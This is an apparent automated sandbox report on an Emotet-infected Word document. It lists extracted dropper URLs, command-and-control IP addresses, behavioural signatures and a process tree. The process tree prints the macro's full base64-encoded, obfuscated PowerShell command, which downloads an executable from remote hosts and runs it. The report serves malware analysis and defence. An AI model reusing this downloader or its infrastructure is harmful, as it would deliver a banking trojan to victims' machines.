Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    58s
  • max time network
    114s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    20/08/2020, 14:58

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_9bfe8ce1fed3e9918f4d54e7dda89316e7df9eca1de6f6e7ffad62ec16b2f1b7_2020-08-20__145615._doc.doc
  • Size 244KB
  • Sample200820-1fmja4fcan
  • SHA256 9bfe8ce1fed3e9918f4d54e7dda89316e7df9eca1de6f6e7ffad62ec16b2f1b7
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://thuening.de/cgi-bin/uo9wm/
  • exe.dropper

    http://portugalmypassion.com/wp-content/gJWA/
  • exe.dropper

    http://colegiolaesperanza.cl/new_img/fuJUk/
  • exe.dropper

    http://neuromedicaltechnology.com/cgi-bin/SkB/
  • exe.dropper

    http://sensesgo.com/e9x8b82yg/y651K/
  • exe.dropper

    http://theonpassive.com/wp-admin/A3/
  • exe.dropper

    http://www.feetinform.de/localization/n7g/

Extracted

Family

  • emotet

C2

  • 70.121.172.89:80

  • 116.202.234.183:8080

  • 69.30.203.214:8080

  • 185.94.252.104:443

  • 64.183.73.122:80

  • 190.55.181.54:443

  • 37.70.8.161:80

  • 174.137.65.18:80

  • 203.153.216.189:7080

  • 109.116.214.124:443

  • 93.51.50.171:8080

  • 190.160.53.126:80

  • 222.214.218.37:4143

  • 87.106.136.232:8080

  • 113.160.130.116:8443

  • 174.102.48.180:80

  • 79.98.24.39:8080

  • 189.212.199.126:443

  • 89.186.91.200:443

  • 24.233.112.152:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_9bfe8ce1fed3e9918f4d54e7dda89316e7df9eca1de6f6e7ffad62ec16b2f1b7_2020-08-20__145615._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:852
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABBAGcAMABqAHIAMwBwAD0AKAAnAFIAdgB6AG0ANgAnACsAJwBxAGcAJwApADsALgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBOAFYAOgBUAEUATQBwAFwATwBGAEYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAGMAYABVAGAAUgBpAFQAeQBgAHAAcgBPAGAAVABPAGMATwBMACIAIAA9ACAAKAAnAHQAbABzADEAJwArACcAMgAsACAAJwArACcAdAAnACsAJwBsAHMAMQAnACsAJwAxACwAIAB0AGwAcwAnACkAOwAkAFIAeQBiAHYAYQBiAHkAIAA9ACAAKAAnAEkAaAB6AF8AMgByACcAKwAnAGsAJwApADsAJABaAF8AZwBtADAAbwB6AD0AKAAnAFoAZABiAGsAYwAnACsAJwBqACcAKwAnAGIAJwApADsAJABJAHYAdQBrAHkAdgB4AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBZAHcARQBPAGYAZgBpACcAKwAnAGMAJwArACcAZQAyADAAMQA5AFkAdwAnACsAJwBFACcAKQAuACIAUgBFAGAAUABsAEEAYwBFACIAKAAoAFsAQwBIAEEAcgBdADgAOQArAFsAQwBIAEEAcgBdADEAMQA5ACsAWwBDAEgAQQByAF0ANgA5ACkALAAnAFwAJwApACkAKwAkAFIAeQBiAHYAYQBiAHkAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEUAdAB3AGQAOABrAHQAPQAoACcATQB4AGsANQBtAHoAJwArACcAOQAnACkAOwAkAEwANAAxAGIAdgBsADIAPQAuACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQBUAC4AVwBlAEIAYwBMAEkARQBuAFQAOwAkAE4AeABuADYAYQBhADAAPQAoACcAaAAnACsAJwB0AHQAcAA6AC8ALwB0AGgAdQBlAG4AaQBuAGcALgAnACsAJwBkAGUALwBjAGcAaQAnACsAJwAtACcAKwAnAGIAaQBuAC8AdQBvADkAdwAnACsAJwBtAC8AKgBoACcAKwAnAHQAJwArACcAdABwACcAKwAnADoALwAvAHAAbwAnACsAJwByAHQAdQBnAGEAJwArACcAbABtAHkAcABhAHMAJwArACcAcwBpAG8AbgAuAGMAbwBtAC8AJwArACcAdwBwAC0AYwBvACcAKwAnAG4AJwArACcAdABlAG4AdAAvAGcASgBXAEEALwAqAGgAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AYwBvACcAKwAnAGwAZQBnAGkAbwBsACcAKwAnAGEAZQBzAHAAJwArACcAZQAnACsAJwByACcAKwAnAGEAbgB6AGEALgBjAGwAJwArACcALwAnACsAJwBuAGUAdwBfAGkAJwArACcAbQBnAC8AZgB1AEoAVQBrAC8AKgBoAHQAdAAnACsAJwBwADoALwAvAG4AZQB1AHIAbwAnACsAJwBtAGUAZABpAGMAYQAnACsAJwBsACcAKwAnAHQAZQAnACsAJwBjAGgAbgBvAGwAbwBnAHkALgBjAG8AJwArACcAbQAvAGMAZwBpAC0AYgBpAG4ALwBTAGsAQgAnACsAJwAvACoAaAB0AHQAcAA6AC8ALwBzAGUAbgBzAGUAcwBnAG8ALgBjACcAKwAnAG8AbQAvAGUAOQB4ACcAKwAnADgAYgA4ACcAKwAnADIAeQBnAC8AeQA2ACcAKwAnADUAMQBLAC8AKgBoAHQAdAAnACsAJwBwADoAJwArACcALwAvAHQAaABlAG8AbgBwAGEAcwBzAGkAdgBlAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBBADMALwAqAGgAJwArACcAdAB0AHAAOgAvAC8AdwAnACsAJwB3AHcALgBmAGUAZQAnACsAJwB0AGkAbgAnACsAJwBmAG8AcgBtAC4AZABlAC8AbABvAGMAYQBsAGkAegBhACcAKwAnAHQAaQBvACcAKwAnAG4ALwBuADcAZwAvACcAKQAuACIAcwBwAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABYAGMAagByAHYAYwBjAD0AKAAnAFcAawBuACcAKwAnADMAcAA4AG0AJwApADsAZgBvAHIAZQBhAGMAaAAoACQATAB4ADMAYwByAGIAcwAgAGkAbgAgACQATgB4AG4ANgBhAGEAMAApAHsAdAByAHkAewAkAEwANAAxAGIAdgBsADIALgAiAGQAYABvAHcAYABOAGwAbwBhAEQARgBpAGAAbABFACIAKAAkAEwAeAAzAGMAcgBiAHMALAAgACQASQB2AHUAawB5AHYAeAApADsAJABEAGUANQBoADYAaABhAD0AKAAnAEwAMAA3ACcAKwAnAGwAZAA3AGMAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEkAdgB1AGsAeQB2AHgAKQAuACIAbABlAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADUANwA5ADkAKQAgAHsALgAoACcASQBuAHYAbwBrACcAKwAnAGUALQBJAHQAZQAnACsAJwBtACcAKQAoACQASQB2AHUAawB5AHYAeAApADsAJABNAG8AYQBfAHYAYQBkAD0AKAAnAEkAaAAnACsAJwB3ADgAMwAnACsAJwA0AHYAJwApADsAYgByAGUAYQBrADsAJABGAHoAaQA3ADEAegB6AD0AKAAnAE8AJwArACcAYgB3AGgAMgBnAGEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAHcAOQBzAG0AYwB1AD0AKAAnAFMAMgAnACsAJwB0AF8AbwAnACsAJwA0AHoAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1688
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Ihz_2rk.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Ihz_2rk.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1824
      • C:\Windows\SysWOW64\UIRibbonRes\cabinet.exe
        "C:\Windows\SysWOW64\UIRibbonRes\cabinet.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1600

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/852-4-0x0000000006E20000-0x0000000007020000-memory.dmp
        Download

        memory/852-6-0x000000000ACD0000-0x000000000ACD4000-memory.dmp
        Download

        memory/852-7-0x000000000BD50000-0x000000000BD54000-memory.dmp
        Download

        memory/852-2-0x00000000088B0000-0x00000000088B4000-memory.dmp
        Download

        memory/1600-22-0x00000000003F0000-0x00000000003FC000-memory.dmp
        Download

        memory/1688-9-0x000007FEEA000000-0x000007FEEA9EC000-memory.dmp
        Download

        memory/1688-15-0x000000001B690000-0x000000001B691000-memory.dmp
        Download

        memory/1688-14-0x000000001AA90000-0x000000001AA91000-memory.dmp
        Download

        memory/1688-13-0x00000000027C0000-0x00000000027C1000-memory.dmp
        Download

        memory/1688-12-0x0000000002440000-0x0000000002441000-memory.dmp
        Download

        memory/1688-11-0x000000001ACE0000-0x000000001ACE1000-memory.dmp
        Download

        memory/1688-10-0x0000000001EA0000-0x0000000001EA1000-memory.dmp
        Download

        memory/1824-18-0x0000000000310000-0x000000000031C000-memory.dmp
        Download

        memory/2020-23-0x000007FEEA250000-0x000007FEEA4CA000-memory.dmp
        Download